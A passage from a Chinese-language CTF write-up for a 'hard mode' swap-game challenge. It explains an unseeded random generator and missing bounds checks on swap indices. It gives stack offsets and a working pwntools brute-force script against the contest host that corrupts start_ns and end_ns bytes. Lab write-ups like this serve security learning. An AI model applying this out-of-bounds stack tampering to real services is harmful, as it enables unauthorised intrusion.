    5. 程序交换两个 index 的值
    6. 程序检查交换后数组,若正确则 total_ok++
    7. 程序将 end_ns - start_ns 加到 total_ns
  • 循环完毕后,检查 total_ok == 5total_ns 是否足够小,并返回结果。

在 easy 模式下,total_ns 的限制换算后为 60 秒;但在 hard 模式下,total_ns 的限制为 1000ns,这通过正常的途径是不可能做到的(远程环境下最快每轮循环也需要 6000ns+)。

漏洞分析

第一个漏洞:程序生成随机数没有设置随机的种子,所以我们可以直接知道每一轮的答案是什么,从而达成五轮胜利来满足 total_ok == 5 的条件。
第二个漏洞:程序读取将要交换的 index 时,并没有做边界检查,所以我们可以干扰栈上的局部变量

函数中的局部变量声明如下:

1
2
3
4
5
6
7
8
9
char user_input[256];
uint8_t numbers[count];
struct timespec start, end;
uint64_t start_ns, end_ns;
uint64_t total_ns, total_ok;
size_t swap1, swap2;
size_t swap1_in, swap2_in;
size_t i, k;
bool ok;

其中最为重要的显然是 total_nstotal_ok 变量。但由于我们无法获取实际运行的 binary 文件,所以也没办法知道这些变量是存在栈上还是寄存器中,也没办法知道栈上相对 numbers 数组的偏移。

一种容易想到的方法是先答对五轮,然后尝试用 0 与 total_ns 交换来减少所花的时间。但这种方法需要我们知道 total_ns 的地址(如果它真的在栈上)。
在本地环境,经过幸苦的调试,可以发现 total_ns 确实在栈上,并利用这种方法攻击成功。但在远程环境,不论如何调试,都没办法找到 total_ns 的位置,我估计这个变量存寄存器上了。(这里省略了部分细节)
3.10/20:30 UPDATE:赛后看了别的师傅的writeup,发现这个方法是完全可以的,现在再跑之前的脚本就跑出来了,不知道昨天晚上为什么一直跑不出,感觉是运气实在太差了……

没办法直接修改 total_ns,那就通过程序内的代码来修改 total_ns
total_ns += end_ns - start_ns;
如果我们能够交换 end_nsstart_ns,那就可以让 total_ns 减小。

为了找到这两个变量的位置,同样需要慢慢试。由于程序每轮会告知玩家所花的时间,因此这两个变量的位置可以很方便地试出来(所花时间非常大就说明打到了)。由于我们只能交换两个 uint8_t,因此需要考虑更换哪两个位。

根据远程返回的信息可以发现,如果我们让程序以最快的速度运行(程序用 fgets 读取玩家输入,我们直接发送一个大字符串,其中用换行符区分答案),那么每轮的时间大约在 6000ns-10000ns 左右,换算为十六进制为 0x1770-0x2710。
这可以说明大部分情况下,开始和结束的时间,除了最后两个字节外,其余的字节都是相同的。所以我们只要交换两个时间的倒数第二个字节,就可以让它们的真值也大致交换。

此外,由于时间会波动,因此若最后三次交换成功,就会有一定几率让最后的 total_ns 小于 1000ns。接下来就是编写脚本。

漏洞利用

经过测试发现,328-335 的偏移是 start_ns,320-327 的偏移是 end_ns。我交换的位偏移为 321 和 329。
利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def pwn():
global io
io = remote("52.59.124.14", 10013)
# io = remote("127.0.0.1", 9090)

payload = b"103\n255\n105\n191\n16\n81\n71\n74\n41\n163\n"
payload += b"321\n329\n321\n329\n321\n329\n"
payload = b'\n' + payload
io.sendlineafter(b"Hard", b"hard")
io.sendafter(b"Ready", payload)
# 329-336 start_ns
# 321-328 end_ns

if __name__ == '__main__':
for i in range(100):
pwn()
mes = io.recvrepeat(2.2)
if (mes.find(b"for you troubles:") != -1):
print(mes[mes.find(b"for you troubles:"):])
break

最后附上爆破出flag的截图~ 今天早上挂上脚本后去干别的事了,回来突然看到打出来了很激动哈哈哈。

嘿嘿嘿